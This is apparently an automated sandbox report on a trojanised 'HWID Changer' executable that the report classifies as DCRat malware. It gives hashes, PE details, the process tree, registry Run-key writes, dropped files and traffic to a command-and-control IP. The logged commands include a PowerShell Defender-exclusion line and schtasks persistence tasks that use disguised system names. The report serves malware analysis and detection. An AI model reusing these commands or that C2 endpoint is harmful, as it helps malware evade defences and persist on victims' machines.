| File name: | HWID Serial Number Changer.exe |
| Full analysis: | https://app.any.run/tasks/f95e81b7-39e0-4613-8803-172930e1aabf |
| Verdict: | Malicious activity |
| Threats: | A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices. |
| Analysis date: | February 05, 2022, 11:58:59 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 5F70A0A73EFD929640E661609C560E40 |
| SHA1: | B0BBA83376A7929CB0D4612D79EC5041236DB836 |
| SHA256: | 3B1FBFB1C4DC011DB5922A1C159DC4A728EF5786635D6735F3F089DBCB08BC42 |
| SSDEEP: | 98304:0RIaA3ohPDGLvHrqtrUHZc2doQTPGME/oiJ/v4pcBWHWjhuNqFMcf1KdXI8ldukf:0jhyqtrU5zoQTqoYCHWmqF/8KVNqR |
| .exe | | | Win64 Executable (generic) (53.8) |
|---|---|---|
| .scr | | | Windows screen saver (25.5) |
| .exe | | | Win32 Executable (generic) (8.7) |
| .exe | | | Win16/32 Executable Delphi generic (4) |
| .exe | | | Generic Win/DOS Executable (3.8) |
| OriginalFileName: | HWID Changer.exe |
|---|---|
| LegalCopyright: | Copyright © 2022 |
| ProductVersion: | 1.0.0.0 |
| FileVersion: | 1.0.0.0 |
| ProductName: | HWID Changer |
| FileDescription: | HWID Changer |
| CharacterSet: | Windows, Latin1 |
| LanguageCode: | English (U.S.) |
| FileSubtype: | - |
| ObjectFileType: | Executable application |
| FileOS: | Win32 |
| FileFlags: | (none) |
| FileFlagsMask: | 0x0000 |
| ProductVersionNumber: | 1.0.0.0 |
| FileVersionNumber: | 1.0.0.0 |
| Subsystem: | Windows GUI |
| SubsystemVersion: | 4 |
| ImageVersion: | - |
| OSVersion: | 1 |
| EntryPoint: | 0x5e47e |
| UninitializedDataSize: | - |
| InitializedDataSize: | 7680 |
| CodeSize: | 5936128 |
| LinkerVersion: | 2.25 |
| PEType: | PE32 |
| TimeStamp: | 2022:01:19 12:10:53+01:00 |
| MachineType: | Intel 386 or later, and compatibles |
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 19-Jan-2022 11:10:53 |
| Detected languages: |
|
| FileDescription: | HWID Changer |
| ProductName: | HWID Changer |
| FileVersion: | 1.0.0.0 |
| ProductVersion: | 1.0.0.0 |
| LegalCopyright: | Copyright © 2022 |
| OriginalFilename: | HWID Changer.exe |
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0080 |
| Pages in file: | 0x0001 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0010 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x0140 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000080 |
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 6 |
| Time date stamp: | 19-Jan-2022 11:10:53 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
0x005B0000 | 0x0027E000 | 0x0002BA00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.99803 | |
.rsrc | 0x005AE000 | 0x00002000 | 0x00001C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 5.62449 |
.data | 0x0082E000 | 0x000E3000 | 0x000E2C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.9869 |
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.15976 | 712 | UNKNOWN | UNKNOWN | RT_MANIFEST |
2 | 5.47103 | 4264 | UNKNOWN | UNKNOWN | RT_ICON |
Shlwapi.dll |
advapi32.dll |
gdi32.dll |
kernel32.dll |
msvcrt.dll |
oleaut32.dll |
shell32.dll |
user32.dll |
version.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 876 | "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\admin\AppData\Local\Temp\10z5eoeh\spfFontBrokerperfsvcReviewintoCrt.exe' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | spfFontBrokerperfsvcReviewintoCrt.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1264 | "C:\Users\admin\AppData\Local\Temp\spfFontBrokerperfsvcReviewintoCrt.exe" | C:\Users\admin\AppData\Local\Temp\spfFontBrokerperfsvcReviewintoCrt.exe | HWID Serial Number Changer.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Version: 2019.4.15.16511847 Modules
| |||||||||||||||
| 1316 | w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 | C:\Windows\system32\w32tm.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Time Service Diagnostic Tool Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1696 | schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\ProgramData\Start Menu\services.exe'" /rl HIGHEST /f | C:\Windows\system32\schtasks.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1748 | "C:\Users\admin\AppData\Local\Temp\10z5eoeh\spfFontBrokerperfsvcReviewintoCrt.exe" | C:\Users\admin\AppData\Local\Temp\10z5eoeh\spfFontBrokerperfsvcReviewintoCrt.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Version: 2019.4.15.16511847 Modules
| |||||||||||||||
| 2496 | schtasks.exe /create /tn "SearchIndexer" /sc ONLOGON /tr "'C:\PerfLogs\Admin\SearchIndexer.exe'" /rl HIGHEST /f | C:\Windows\system32\schtasks.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2548 | schtasks.exe /create /tn "spfFontBrokerperfsvcReviewintoCrt" /sc ONLOGON /tr "'C:\Users\admin\AppData\Local\Temp\10z5eoeh\spfFontBrokerperfsvcReviewintoCrt.exe'" /rl HIGHEST /f | C:\Windows\system32\schtasks.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2692 | schtasks.exe /create /tn "audiodg" /sc ONLOGON /tr "'C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\audiodg.exe'" /rl HIGHEST /f | C:\Windows\system32\schtasks.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2824 | schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\taskhost.exe'" /rl HIGHEST /f | C:\Windows\system32\schtasks.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3024 | schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\ProgramData\Documents\System.exe'" /rl HIGHEST /f | C:\Windows\system32\schtasks.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| (PID) Process: | (3876) HWID Serial Number Changer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (3876) HWID Serial Number Changer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (3876) HWID Serial Number Changer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (3876) HWID Serial Number Changer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (1264) spfFontBrokerperfsvcReviewintoCrt.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | SearchIndexer |
Value: "C:\PerfLogs\Admin\SearchIndexer.exe" | |||
| (PID) Process: | (1264) spfFontBrokerperfsvcReviewintoCrt.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | audiodg |
Value: "C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\audiodg.exe" | |||
| (PID) Process: | (1264) spfFontBrokerperfsvcReviewintoCrt.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | taskhost |
Value: "C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\taskhost.exe" | |||
| (PID) Process: | (1264) spfFontBrokerperfsvcReviewintoCrt.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | System |
Value: "C:\ProgramData\Documents\System.exe" | |||
| (PID) Process: | (1264) spfFontBrokerperfsvcReviewintoCrt.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | IMEDICTUPDATE |
Value: "C:\Program Files\Common Files\microsoft shared\IME14\SHARED\IMECMPS\IMEDICTUPDATE.exe" | |||
| (PID) Process: | (1264) spfFontBrokerperfsvcReviewintoCrt.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | spfFontBrokerperfsvcReviewintoCrt |
Value: "C:\Users\admin\AppData\Local\Temp\10z5eoeh\spfFontBrokerperfsvcReviewintoCrt.exe" | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1264 | spfFontBrokerperfsvcReviewintoCrt.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\audiodg.exe | executable | |
MD5:— | SHA256:— | |||
| 1264 | spfFontBrokerperfsvcReviewintoCrt.exe | C:\PerfLogs\Admin\4a1145983886ca | text | |
MD5:— | SHA256:— | |||
| 1264 | spfFontBrokerperfsvcReviewintoCrt.exe | C:\PerfLogs\Admin\SearchIndexer.exe | executable | |
MD5:— | SHA256:— | |||
| 1264 | spfFontBrokerperfsvcReviewintoCrt.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\taskhost.exe | executable | |
MD5:— | SHA256:— | |||
| 3876 | HWID Serial Number Changer.exe | C:\Users\admin\AppData\Local\Temp\spfFontBrokerperfsvcReviewintoCrt.exe | executable | |
MD5:— | SHA256:— | |||
| 1264 | spfFontBrokerperfsvcReviewintoCrt.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\42af1c969fbb7b | text | |
MD5:— | SHA256:— | |||
| 3876 | HWID Serial Number Changer.exe | C:\Users\admin\AppData\Roaming\services32 ns.exe | executable | |
MD5:— | SHA256:— | |||
| 1264 | spfFontBrokerperfsvcReviewintoCrt.exe | C:\Users\admin\AppData\Local\Temp\10z5eoeh\17bea063338b5d | text | |
MD5:— | SHA256:— | |||
| 1264 | spfFontBrokerperfsvcReviewintoCrt.exe | C:\Users\admin\AppData\Local\Temp\10z5eoeh\spfFontBrokerperfsvcReviewintoCrt.exe | executable | |
MD5:— | SHA256:— | |||
| 1264 | spfFontBrokerperfsvcReviewintoCrt.exe | C:\Program Files\Common Files\microsoft shared\IME14\SHARED\IMECMPS\IMEDICTUPDATE.exe | executable | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1748 | spfFontBrokerperfsvcReviewintoCrt.exe | GET | 500 | 188.120.229.5:80 | http://188.120.229.5/boot/u927/ApiDefaultdownloads.php?BvUiBJaBlov8A3N4Qu0KjxXTRRsb=TVG36Hwy0LvxoTVtxuR&kW8xnSOXAQtb9cRToFEwaFZi=W5dC&ehaq96XTQn3ZxkbUyMC=Erp&f203d62a50c81733dd6b494a616e9a29=151a4e97d5c54ea8faace617262bd91b&f537473b824c304d8386d3abb13217a0=AZwMWY1MzM2QGZlVTY3gDZwQWZ4IDO3YmNwQmN0MmY5MWMyUGOmNDO&BvUiBJaBlov8A3N4Qu0KjxXTRRsb=TVG36Hwy0LvxoTVtxuR&kW8xnSOXAQtb9cRToFEwaFZi=W5dC&ehaq96XTQn3ZxkbUyMC=Erp | RU | html | 572 b | malicious |
1748 | spfFontBrokerperfsvcReviewintoCrt.exe | GET | 500 | 188.120.229.5:80 | http://188.120.229.5/boot/u927/ApiDefaultdownloads.php?BvUiBJaBlov8A3N4Qu0KjxXTRRsb=TVG36Hwy0LvxoTVtxuR&kW8xnSOXAQtb9cRToFEwaFZi=W5dC&ehaq96XTQn3ZxkbUyMC=Erp&f203d62a50c81733dd6b494a616e9a29=151a4e97d5c54ea8faace617262bd91b&f537473b824c304d8386d3abb13217a0=AZwMWY1MzM2QGZlVTY3gDZwQWZ4IDO3YmNwQmN0MmY5MWMyUGOmNDO&BvUiBJaBlov8A3N4Qu0KjxXTRRsb=TVG36Hwy0LvxoTVtxuR&kW8xnSOXAQtb9cRToFEwaFZi=W5dC&ehaq96XTQn3ZxkbUyMC=Erp | RU | html | 572 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1748 | spfFontBrokerperfsvcReviewintoCrt.exe | 188.120.229.5:80 | — | JSC ISPsystem | RU | malicious |
PID | Process | Class | Message |
|---|---|---|---|
1748 | spfFontBrokerperfsvcReviewintoCrt.exe | A Network Trojan was detected | ET TROJAN DCRAT Activity (GET) |